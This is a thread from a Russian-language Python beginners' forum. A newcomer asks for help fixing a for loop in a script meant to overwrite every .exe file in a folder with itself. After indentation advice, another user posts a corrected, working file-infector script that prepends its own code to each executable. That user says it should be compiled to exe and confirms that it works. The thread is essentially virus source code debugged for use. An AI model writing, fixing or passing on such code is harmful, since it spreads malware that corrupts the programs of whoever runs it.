Найти - Пользователи
Полная версия: Цикл for
Начало » Python для новичков » Цикл for
1 2 3
Hiro
Суть программы: Должна заменять все экзешники в папке на себя.

К сожалению, неправильно работает цикл for. Хоть убейте не вижу ошибки.

#!/usr/bin/env python
# coding: utf-8
import sys
import os
import shutil
import random
virPath = os.path.split(sys.argv[0]);
names = os.listdir('.');
proverka = "proverka";
fvir = open(sys.argv[0], 'rb');
virData = fvir.read(19456);
for name in names:
   namePair = os.path.splitext(name);
os.rename(name, "virus.exe");
fprog = open("virus.exe", 'rb'); 
progData = fprog.read();
fnew = open(name, 'wb');
fnew.write(virData);
fnew.close();
fprog.close();
os.remove("virus.exe");
fvir.close();
Сделал вывод значения “names” (список всех файлов в папке) и вывод значения “name” (текущего обрабатываемого файла):

В итоге получаю, что заменяет в папке только последний файл из списка names, т.е. с.exe заменяет на самого себя, а оставшиеся a.exe и b.exe остаются без изменения.

Drew_7
Пробел упустил
FishHook
Ваш цикл вообще ничего не делает, он бессмыслен.
Если есть цикл, в нем должно происходить какое-то действие, верно?
Вы в цикле N раз присваиваете переменной значение.
То есть как то так
namePair = os.path.splitext("autoexec.bat")
namePair = os.path.splitext("hosts.ini");
namePair = os.path.splitext("command.com");
namePair = os.path.splitext("porno");

Этот набор действий не даст никакого следствия, это просто бестолковое насилование диска.
Hiro
FishHook
FishHook
Ваш цикл вообще ничего не делает, он бессмыслен. Если есть цикл, в нем должно происходить какое-то действие, верно?Вы в цикле N раз присваиваете переменной значение. То есть как то так
Всё верно, лишняя строчка, учту. Сейчас как я понял из ваших слов в цикле участвует только эта строчка
namePair = os.path.splitext(name)?

Просто мне то требуется , чтобы брался файл, с ним выполнялись все указанные мною действия, далее брался второй файл и т.д. . Питон я изучаю первый день, можете уточнить , что нужно сделать, чтобы все последующие строчки , т.е. :

os.rename(name, “virus.exe”);
fprog = open(“virus.exe”, ‘rb’);
progData = fprog.read();
fnew = open(name, ‘wb’);
fnew.write(virData);
fnew.close();
fprog.close();
os.remove(“virus.exe”);
fvir.close();


так же были задействованы в цикле? Убрать везде “;” и поставить их только в конец?
FishHook
По какому учебнику вы изучаете питон?
Hiro
FishHook
По какому учебнику вы изучаете питон?
Сейчас пока ищу только интересующую информацию, без учебника, т.к. срок для написания именно этой программы ничтожно мал. Учебник мне сейчас конечно понадобится, может Вы что то посоветуете?
google_
#!/usr/bin/python3.4
import os, sys, glob
path = glob.glob('*.exe')#Найти файлы с расширением <.exe>
fvir = open(sys.argv[0], 'rb')#Открыть самого себя
virData = fvir.read(19835)#считать в память
for name in path:
    #Не зарожать самого себя
    if name not in 'virus.py':
        os.rename(name, name + 'tmp')#Переименовать файлы
        fprog = open(name + 'tmp', 'rb')#Открыть файлы
        progData = fprog.read()#Прочитать файлы
        chestnie = open(name, 'wb')#Открыть,стереть файлы
        chestnie.write(virData + progData)#Записать в начало 
        fprog.close()#Закрыть
        chestnie.close()#Закрыть
        os.remove(name + 'tmp')#Удалить временные файлы
print('it is virus')#Это вирус
Вам нужно будет скомпилировать его в exe.
Hiro
google_
os.rename(name, name + ‘tmp’)
пробовал использовать это , выдавало ошибку что-то на подобие :
не найден файл *.exetmp то есть tmp он добавляет после расширения файла.
google_
Hiro
пробовал использовать это , выдавало ошибку что-то на подобие :
не найден файл *.exetmp то есть tmp он добавляет после расширения файла.
Странно, у меня работает, только что проверил.
Я давно писал этот код и помню такую ошибку у себя. Вы попробуйте именно этот код.
Файл назовите virus.py и в этой же директории зоздайте несколько файлов с расширеним exe и будете приятно удивлены )
Hiro
google_
Хорошо , попробую уже только завтра. Пожалуйста , если не составит трудности , зайдите на всякий случай в эту тему завтра. Вдруг появятся какие то вопросы.
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.
Powered by DjangoBB